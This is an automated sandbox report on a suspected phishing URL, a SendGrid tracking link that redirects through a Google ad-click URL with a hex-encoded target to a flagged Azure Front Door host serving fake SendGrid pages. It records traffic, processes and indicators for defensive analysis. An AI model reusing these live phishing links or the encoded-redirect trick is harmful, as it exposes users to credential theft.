Source: global traffic	HTTP traffic detected: GET /content/dam/sendgrid/core-assets/social/favicon-32x32.png HTTP/1.1Host: sendgrid.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /content/dam/sendgrid/core-assets/social/favicon-96x96.png HTTP/1.1Host: sendgrid.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /content/dam/sendgrid/core-assets/social/favicon-32x32.png HTTP/1.1Host: sendgrid.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /content/dam/sendgrid/core-assets/social/favicon-96x96.png HTTP/1.1Host: sendgrid.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D HTTP/1.1Host: url7554.impulseup.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: url7554.impulseup.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net
Source: global traffic	DNS traffic detected: DNS query: pattemsyw.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: sendgrid.com

Source: chromecache_67.2.dr

String found in binary or memory: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 192.178.49.164:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.89.115.77:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.68.226:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.71:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.71:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 100.21.20.131:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.40.152.246:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.40.152.246:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@22/20@18/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2248,i,12116894107772654546,11462018470200565057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2328 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2248,i,12116894107772654546,11462018470200565057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2328 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Web Protocols	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://pattemsyw.com/sendgrid/26.4f50d9a5c773f22e4e53.css	0%	Avira URL Cloud	safe
https://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D	0%	Avira URL Cloud	safe
https://pattemsyw.com/sendgrid/129.c49e0d483e4298ff24d7.css	0%	Avira URL Cloud	safe
https://pattemsyw.com/sendgrid/tiara.css	0%	Avira URL Cloud	safe
https://pattemsyw.com/sendgrid/container.26013ccb977c385da82e216d1d448f4bbf39435b.css	0%	Avira URL Cloud	safe
https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
googleads.g.doubleclick.net	142.250.68.226	true	false	high
code.jquery.com	151.101.194.137	true	false	high
sendgrid.com	100.21.20.131	true	false	high
sendgrid.net	167.89.115.77	true	false	high
www.google.com	192.178.49.164	true	false	high
s-part-0043.t-0009.t-msedge.net	13.107.246.71	true	false	high
pattemsyw.com	172.67.138.38	true	false	unknown
url7554.impulseup.com	unknown	unknown	false	high
87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://googleads.g.doubleclick.net/pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74	false		high
https://sendgrid.com/content/dam/sendgrid/core-assets/social/favicon-96x96.png	false		high
https://pattemsyw.com/sendgrid/container.26013ccb977c385da82e216d1d448f4bbf39435b.css	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://pattemsyw.com/sendgrid/129.c49e0d483e4298ff24d7.css	false	Avira URL Cloud: safe	unknown
http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D	false		unknown
https://pattemsyw.com/sendgrid/tiara.css	false	Avira URL Cloud: safe	unknown
https://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D	false	Avira URL Cloud: safe	unknown
https://pattemsyw.com/sendgrid/26.4f50d9a5c773f22e4e53.css	false	Avira URL Cloud: safe	unknown
https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/	false	Avira URL Cloud: safe	unknown
https://sendgrid.com/content/dam/sendgrid/core-assets/social/favicon-32x32.png	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.178.49.164	www.google.com	United States	15169	GOOGLEUS	false
100.21.20.131	sendgrid.com	United States	16509	AMAZON-02US	false
52.40.152.246	unknown	United States	16509	AMAZON-02US	false
13.107.246.71	s-part-0043.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.89.115.77	sendgrid.net	United States	11377	SENDGRIDUS	false
142.250.68.226	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.67.138.38	pattemsyw.com	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.4
192.168.2.23
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670239
Start date and time:	2025-04-21 11:31:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@22/20@18/11

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.178.49.206, 192.178.49.195, 192.178.49.174, 142.250.141.84, 199.232.214.172, 72.247.234.254, 23.220.73.6, 192.178.49.170, 142.250.68.234, 192.178.49.202, 142.250.69.10, 142.250.69.3, 184.29.183.29, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 33 x 33, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	397
Entropy (8bit):	7.1291219226387
Encrypted:	false
SSDEEP:	12:6v/7jo/6Ts/IrAEHWLwosPGsIt+QynwgOuOb7:io/6t3WcosPMt+QWFOn
MD5:	F0BBB24B12E9BDC01EBEA1EB7853CE05
SHA1:	676273D15D8BE339892234669820364CD0390860
SHA-256:	38153FF6C9B11D498ED6D1ABD66F3D9D5175C770DA8A4B87CB248C4E77203D7A
SHA-512:	E5AE4DFAB153455C852AF7A403ED13835D7D20CF632F44CD5A24CF455D38E7EA8736D43AFA59516892D44876D4D6ADDA550A56A3A71A666D2277F1ADF3C00E41
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!...!.....W..o....pHYs.................sRGB.........gAMA......a...."IDATx..1N.0...g..c..E..=B....v.. ... N@...M.PN..b.J].+.&...I.@.o..?.,.6...T....$R..\|..k........B.^.k"...E...(....(A...$.*.a...\|.m.7..^x}Bm..L.`.].C1....".\|.Me.......X...S......x;.Q..%.W.......tV..T....ohEd_.....kR......4U\..&.o~.....[.Ip...(.....4.Cz..k.t...q..L...C...>.K$...O....IEND.B`.

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	66245
Entropy (8bit):	5.151192584948555
Encrypted:	false
SSDEEP:	768:PkL24JKa94QU5yaGb+eslusFvU7nCmIuDin8HhUUUrb12pg:PkL248QU5yaGb+eslus27nCmRDRHhXg
MD5:	8A3FE7F901E847348AE31FA24002487B
SHA1:	CD0FF657043C28870159075E28AD83200039477A
SHA-256:	04B99C2BBEBA1F680E3D402A64B317D448B6BCFABE0123AB1368CFBC1B830AB2
SHA-512:	79EAB83817B37435926042AC71467445645FD958A023B8B667156A122D642E326C28171D1BE6076EAE1845C612354C5055BD40FE6453D39911E3B0E2365AED6A
Malicious:	false
Reputation:	low
URL:	https://pattemsyw.com/sendgrid/129.c49e0d483e4298ff24d7.css
